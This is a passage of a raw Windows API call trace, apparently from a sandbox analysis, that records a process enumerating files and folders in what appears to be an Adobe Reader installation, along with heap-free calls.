out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0273.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0273.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0273.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0273.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0273.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0273.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.657] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.657] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0273.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.657] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0273.657] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0273.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0273.659] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 0 [0273.659] FindClose (in: hFindFile=0x6ebc30 | out: hFindFile=0x6ebc30) returned 1 [0273.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0273.660] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1 [0273.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0273.660] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 0 [0273.660] FindClose (in: hFindFile=0x6ebb70 | out: hFindFile=0x6ebb70) returned 1 [0273.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fd5b10 | out: hHeap=0x630000) returned 1 [0273.661] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0 [0273.661] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0273.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0273.662] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1 [0273.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0 [0273.665] FindClose (in: hFindFile=0x6ebc70 | out: hFindFile=0x6ebc70) returned 1 [0273.665] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1 [0273.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0273.666] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0273.820] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0273.820] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0274.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0274.246] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0274.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0274.246] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0274.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.247] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0274.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0274.247] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0274.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.248] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mac", cAlternateFileName="")) returned 1 [0274.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.250] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 1 [0274.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.252] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 0 [0274.253] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0274.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0274.253] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0274.253] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0274.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.253] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Unicode", cAlternateFileName="")) returned 0 [0274.253] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0274.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.256] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0274.256] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0274.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.257] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0274.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.260] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 0 [0274.260] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0274.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.260] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0 [0274.260] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0274.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0274.260] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6429fce0, ftCreationTime.dwHighDateTime=0x1d4f85c, ftLastAccessTime.dwLowDateTime=0x6ddb9ce0, ftLastAccessTime.dwHighDateTime=0x1d4ee15, ftLastWriteTime.dwLowDateTime=0x6ddb9ce0, ftLastWriteTime.dwHighDateTime=0x1d4ee15, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="middevelopereddie.exe", cAlternateFileName="MIDDEV~1.EXE")) returned 1 [0274.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0274.263] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x552bd6b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x552bd6b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0274.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.265] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0274.265] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0274.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.266] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARM", cAlternateFileName="")) returned 1 [0274.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.266] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cache", cAlternateFileName="")) returned 0 [0274.266] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0274.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.266] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0274.266] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0274.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.268] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: 